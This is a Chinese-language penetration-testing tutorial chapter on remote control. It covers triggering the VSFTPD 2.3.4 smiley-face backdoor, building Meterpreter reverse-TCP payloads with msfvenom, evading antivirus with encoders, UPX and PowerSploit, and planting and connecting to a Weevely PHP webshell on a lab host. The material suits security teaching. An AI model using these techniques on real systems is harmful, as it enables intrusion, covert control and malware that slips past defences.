远程控制
那么回过头来看,如果目标计算机上运行的VSFTPD v2.3.4被黑客使用笑脸漏洞成功渗透,就会自动在6200端口打开一个连接,而黑客可以通过这个连接实现对目标的控制。如果将这个连接比作一个很小的入口,它可能刚刚能容纳一个人爬行通过,而我们这一章要介绍的就是如何将这个入口变大,大到卡车都可以进出自由。这个大的入口就是我们所说的远程控制。
如果说漏洞是黑客进入计算机的入口,我们其实不仅仅要发现了这个入口,还需要找到开启它的钥匙。
一、为什么6200端口变成了一个 “后门”
刚看到这个标题可能有人会觉得奇怪,端口不就是数据的出入口吗,6200端口打开了,黑客不就可以进入了吗?当然并非如此,试想一台计算机通常会开放几十个端口,尤其是服务器一般都会开放80端口,为什么黑客不直接从80端口进去呢?
使用netcat去连接 目标的80端口:
接下来我们使用ftp命令中特殊的用户名(例如“user:)”,其他以笑脸结尾的字符也可以)来激活这个漏洞,使其开启6200端口。
使用netcat去连接 目标的6200端口:
二、远程控制简介
远程控制程序是一个很常见的计算机术语,指的就是可以在一台设备上操纵另一台设备的软件。远程控制程序一般分成两个部分——被控端和主控端。
我们可以将远程控制软件分为正向控制和反向控制两种。
1、正向控制
2、反向控制
三、如何使用MSFPC生成被控端
Kali Linux 2中提供了一个名为MSFPC(MSFvenom Payload Creator) 的工具,它其实是我们下一节中会讲到的MSFvenom的优化版,使用起来更简单,利用这个工具就可以轻松地生成各种系统的远程控制被控端。
四、如何在Kali Linux 2 中生成被控端
下面给出了msfvenom的几个常见的使用参数。
Options:
-p, --payload 指定要生成的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-f, --format 指定输出格式 (可以使用 --help-formats 来获取msf支持的输出格式列表)
-o, --out 指定存储payload的位置
--payload-options 列举payload的标准选项
--help-formats 查看msf支持的输出格式列表
root@kali:~#msfvenom -l payloads
这个命令执行的结果列出了当前系统的一共486个Payload,如图所示。
kali@kali:~$ msfvenom --list-options -p windows/meterpreter/reverse_tcp
执行之后,我们就可以看见这个Payload的详细信息了,如图所示。
五、如何在Kali Linux 2 中启动主控端
首先打开一个终端然后输入msfconsole启动Metasploit
root@kali:~# msfconsole
首先打开一个终端然后输入msfconsole启动Metasploit
Msf5> use exploit/multi/handler
六、远程控制被控端与杀毒软件的博弈
到目前为止,杀毒软件的技术主要使用了以下3种技术,本章提到的远程控制被控端也可看作病毒的一种。
1. 基于文件扫描的反病毒技术。这种技术主要依靠对程序的二进制代码进行检测,反病毒工程师将病毒样本中的一段特有的二进制代码串提取出来作为特征码,并将其加入病毒库,以后检测程序时看它是否包含这个特征码。
2. 基于内存扫描的反病毒技术。有的病毒程序可能通过各种手段躲过文件扫描,但是想要达到目的,它就需要运行。程序在运行后会将自身释放到内存中,释放后的文件结构与未执行的文件相比有较大的差异。因此杀毒软件使用一套针对内存的特征码。
3. 基于行为监控的反病毒技术。以上两种技术只能查杀已知病毒,对病毒库中不包含的病毒基本没有办法。而基于行为监控的反病毒技术则会监控程序的行为,如果它在执行后会进行一些非正规的、可疑的操作,例如修改系统的注册表的重要部分,则会被视作病毒而被查杀。
msfvenom提供的免杀方法修改特征码,就是修改病毒样本中的一段特有的二进制代码串。 msfvenom针对这种扫描方式提供了一种混淆编码的解决方案。msf编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行以后,msf编码器会将原始程序解码到内存中并执行。这样就可以在不影响程序执行的前提下,躲避杀毒软件的特征码查杀。
我们可以使用命令:
kali@kali:~$ msfvenom -l encoders
加壳也是对抗文件扫描和内存扫描的常用手段,Kali Linux中提供了一个很流行的加壳工具upx(见图),启动它的方式很简单。
PowerSploit提供的免杀方案
最新的kali linux2020中提供了PowerSploit,这是一个基于PowerShell的工具,PowerShell是微软提供的一个程序,PowerShell的功能相当于UNIX系统中的BASH命令行,它是个很强大的工具,学会使用它对Windows上的安全工作有很大的帮助。
启动之后的PowerSploit其实是一个目录,里面还包含了其它一些目录内容,如果要使用这个工具,需要将PowerSploit目录(见图)当作一个网站发布出去。
AntivirusBypass的思想很简单,既然被控端程序中的一段内容是特征码,那么我们就将被控端程序分成n个部分,然后分别使用杀软检查,如果哪个部分报毒那么说明这个部分存在特征码。接着再将报毒部分分成n个部分,再分别使用杀毒软件检查,逐渐找到特征码所在的位置。想要了解Find-AVSignature.ps1的方法可以使用get-help。
PowerSploit中提供的第2部分功能是CodeExecution,这里面主要提供了4个脚本:
Invoke-DllInjection.ps1
Invoke-ReflectivePEInjection.ps1
Invoke-Shellcode.ps1
Invoke-WmiCommand.ps1
七、Meterpreter在各种操作系统中的应用
首先查找一下Metasploit中可以在Android下运行的Meterpreter:
root@kali:~# msfvenom -l payloads
Meterpreter中支持的命令有很多,一共可以分成9个种类,分别为:
核心命令(Core Commands)
文件系统命令(File System Commands)
网络命令(Networking Commands)
系统命令(System Commands)
用户接口相关命令(User Interface Commands)
摄像头相关命令(Webcam Commands)
控制权限提升命令(Elevate Commands)
密码数据库命令(Password database Commands)
时间戳相关命令(Timestomp Commands)
八、Metasploit5 中的Evasion模块
在启动Metasploit时,就可以看到里面的一些信息
使用“show evasion”来列出Metasploit的所有Evasion模块
九、通过Web应用程序实现远程控制
我们所接触的PHP、JSP这样的语言主要是用来开发web应用程序的,但是其实它们的功能十分强大,也可以实现远程控制的功能。目前有很多工具都提供了自动生成木马的功能,例如国内十分流行的“中国菜刀”、“中国蚁剑”、“冰蝎”等。这里我们以kali中已经内置的一个工具Weevely为例,它是一个专门用来生成PHP语言木马的工具,同时也提供了丰富的管理功能。
kali@kali:~$ weevely generate 123456 /home/kali/Downloads/testweb.php Generated '/home/kali/Downloads/testweb.php' with password '123456' of 764 byte size.
Weevely来连接这个后门,连接的命令格式为:
Weevely 木马URL 木马密码
当前木马url为http://192.168.157.132/dvwa/hackable/uploads/testweb.php,所以连接时的命令和执行的结果如下所示:
kali@kali:~$ weevely http://192.168.157.132/dvwa/hackable/uploads/testweb.php 123456 [+] weevely 4.0.1 [+] Target: 192.168.157.132 [+] Session: /home/kali/.weevely/sessions/192.168.157.132/testweb_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely>
总结:
本章中讲解了如何生成远程控制软件,并且以Android和Windows作为目标系统,通过实例介绍了Metasploit工具中提供的Meterpreter模块,Meterpreter功能极为强大,还有各种的免杀技术。在下一章中我们会详细介绍漏洞渗透模块的使用和开发。